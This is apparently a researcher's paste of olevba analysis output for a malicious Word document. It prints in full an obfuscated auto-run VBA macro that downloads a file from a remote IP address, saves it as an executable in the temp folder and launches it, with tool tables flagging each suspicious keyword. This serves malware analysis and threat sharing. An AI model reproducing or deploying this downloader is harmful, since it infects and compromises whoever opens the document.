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Malicious Word macro

dynamoo Apr 1st, 2015 263 Never
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  1. olevba 0.25 - http://decalage.info/python/oletools
  2. Flags       Filename                                                        
  3. ----------- -----------------------------------------------------------------
  4. OLE:MAS---- 09.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 09.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: 09.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. M74TMHsK391U17
  17. End Sub
  18. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  19. ANALYSIS:
  20. +----------+----------+---------------------------------------+
  21. | Type     | Keyword  | Description                           |
  22. +----------+----------+---------------------------------------+
  23. | AutoExec | AutoOpen | Runs when the Word document is opened |
  24. +----------+----------+---------------------------------------+
  25. -------------------------------------------------------------------------------
  26. VBA MACRO Module1.bas
  27. in file: 09.doc - OLE stream: u'Macros/VBA/Module1'
  28. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  29.  
  30. Function RaSfP6r1363354I(ByVal PzRG5z7lX09IgN5jL2 As String, ByVal PF5ZVO1vjpV4jr0SV9QERY3q3 As String) As Boolean
  31. Dim sSt9btW4T0Q9CRYn As Object, PJZVvQ3ZZA As Long, JJ11x8 As Long, PN10dD65K61UuEYF53() As Byte
  32. Set sSt9btW4T0Q9CRYn = CreateObject(ChrW(38.5 + 38.5) & ChrW(41.5 + 41.5) & ChrW(44 + 44) & ChrW(38.5 + 38.5) & ChrW(38 + 38) & ChrW(25 + 25) & ChrW(23 + 23) & ChrW(44 + 44) & ChrW(38.5 + 38.5) & ChrW(38 + 38) & ChrW(36 + 36) & ChrW(42 + 42) & ChrW(42 + 42) & ChrW(40 + 40))
  33. sSt9btW4T0Q9CRYn.Open ChrW(35.5 + 35.5) & ChrW(34.5 + 34.5) & ChrW(42 + 42), PzRG5z7lX09IgN5jL2, False
  34. sSt9btW4T0Q9CRYn.Send "e"
  35. PN10dD65K61UuEYF53 _
  36.  = sSt9btW4T0Q9CRYn.responseBody
  37. JJ11x8 = FreeFile
  38. Open _
  39.  PF5ZVO1vjpV4jr0SV9QERY3q3 For _
  40.  Binary Access _
  41.  Write Lock Write As #JJ11x8
  42. Put #JJ11x8, , PN10dD65K61UuEYF53
  43. Close #JJ11x8
  44. Set GFCUTFUf87TGUbjdfgfdg = CreateObject(ChrW(41.5 + 41.5) & ChrW(52 + 52) & ChrW(50.5 + 50.5) & ChrW(54 + 54) & ChrW(54 + 54) & ChrW(23 + 23) & ChrW(32.5 + 32.5) & ChrW(56 + 56) & ChrW(56 + 56) & ChrW(54 + 54) & ChrW(52.5 + 52.5) & ChrW(49.5 + 49.5) & ChrW(48.5 + 48.5) & ChrW(58 + 58) & ChrW(52.5 + 52.5) & ChrW(55.5 + 55.5) & ChrW(55 + 55))
  45. GFCUTFUf87TGUbjdfgfdg.Open _
  46.  Environ(ChrW(42 + 42) & ChrW(34.5 + 34.5) & ChrW(38.5 + 38.5) & ChrW(40 + 40)) & ChrW(46 + 46) & ChrW(34 + 34) & ChrW(39.5 + 39.5) & ChrW(43.5 + 43.5) & ChrW(42.5 + 42.5) & ChrW(36.5 + 36.5) & ChrW(32.5 + 32.5) & ChrW(32.5 + 32.5) & ChrW(35 + 35) & ChrW(40.5 + 40.5) & ChrW(42 + 42) & ChrW(32.5 + 32.5) & ChrW(23 + 23) & ChrW(50.5 + 50.5) & ChrW(60 + 60) & ChrW(50.5 + 50.5)
  47. End Function
  48.  
  49. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  50. ANALYSIS:
  51. +------------+--------------+-----------------------------------------+
  52. | Type       | Keyword      | Description                             |
  53. +------------+--------------+-----------------------------------------+
  54. | Suspicious | CreateObject | May create an OLE object                |
  55. | Suspicious | Open         | May open a file                         |
  56. | Suspicious | Environ      | May read system environment variables   |
  57. | Suspicious | Write        | May write to a file (if combined with   |
  58. |            |              | Open)                                   |
  59. | Suspicious | Put          | May write to a file (if combined with   |
  60. |            |              | Open)                                   |
  61. | Suspicious | ChrW         | May attempt to obfuscate specific       |
  62. |            |              | strings                                 |
  63. | Suspicious | Binary       | May read or write a binary file (if     |
  64. |            |              | combined with Open)                     |
  65. +------------+--------------+-----------------------------------------+
  66. -------------------------------------------------------------------------------
  67. VBA MACRO Module2.bas
  68. in file: 09.doc - OLE stream: u'Macros/VBA/Module2'
  69. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  70.  
  71. Sub M74TMHsK391U17()
  72. RaSfP6r1363354I ChrW(52 + 52) & ChrW(58 + 58) & ChrW(58 + 58) & ChrW(56 + 56) & ChrW(29 + 29) & ChrW(23.5 + 23.5) & ChrW(23.5 + 23.5) & ChrW(28.5 + 28.5) & ChrW(24.5 + 24.5) & ChrW(23 + 23) & ChrW(25 + 25) & ChrW(26 + 26) & ChrW(25 + 25) & ChrW(23 + 23) & ChrW(24.5 + 24.5) & ChrW(27 + 27) & ChrW(25.5 + 25.5) & ChrW(23 + 23) & ChrW(27.5 + 27.5) & ChrW(28 + 28) & ChrW(23.5 + 23.5) & ChrW(57.5 + 57.5) & ChrW(56.5 + 56.5) & ChrW(59.5 + 59.5) & ChrW(50.5 + 50.5) & ChrW(57 + 57) & ChrW(50.5 + 50.5) & ChrW(23.5 + 23.5) & ChrW(49.5 + 49.5) & ChrW(48.5 + 48.5) & ChrW(57.5 + 57.5) & ChrW(54.5 + 54.5) & ChrW(48.5 + 48.5) & ChrW(23 + 23) & ChrW(51.5 + 51.5) & ChrW(52.5 + 52.5) & ChrW(51 + 51), _
  73.  Environ(ChrW(42 + 42) & ChrW(34.5 + 34.5) & ChrW(38.5 + 38.5) & ChrW(40 + 40)) & ChrW(46 + 46) & ChrW(34 + 34) & ChrW(39.5 + 39.5) & ChrW(43.5 + 43.5) & ChrW(42.5 + 42.5) & ChrW(36.5 + 36.5) & ChrW(32.5 + 32.5) & ChrW(32.5 + 32.5) & ChrW(35 + 35) & ChrW(40.5 + 40.5) & ChrW(42 + 42) & ChrW(32.5 + 32.5) & ChrW(23 + 23) & ChrW(50.5 + 50.5) & ChrW(60 + 60) & ChrW(50.5 + 50.5)
  74. End Sub
  75. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  76. ANALYSIS:
  77. +------------+---------+-----------------------------------------+
  78. | Type       | Keyword | Description                             |
  79. +------------+---------+-----------------------------------------+
  80. | Suspicious | Environ | May read system environment variables   |
  81. | Suspicious | ChrW    | May attempt to obfuscate specific       |
  82. |            |         | strings                                 |
  83. +------------+---------+-----------------------------------------+
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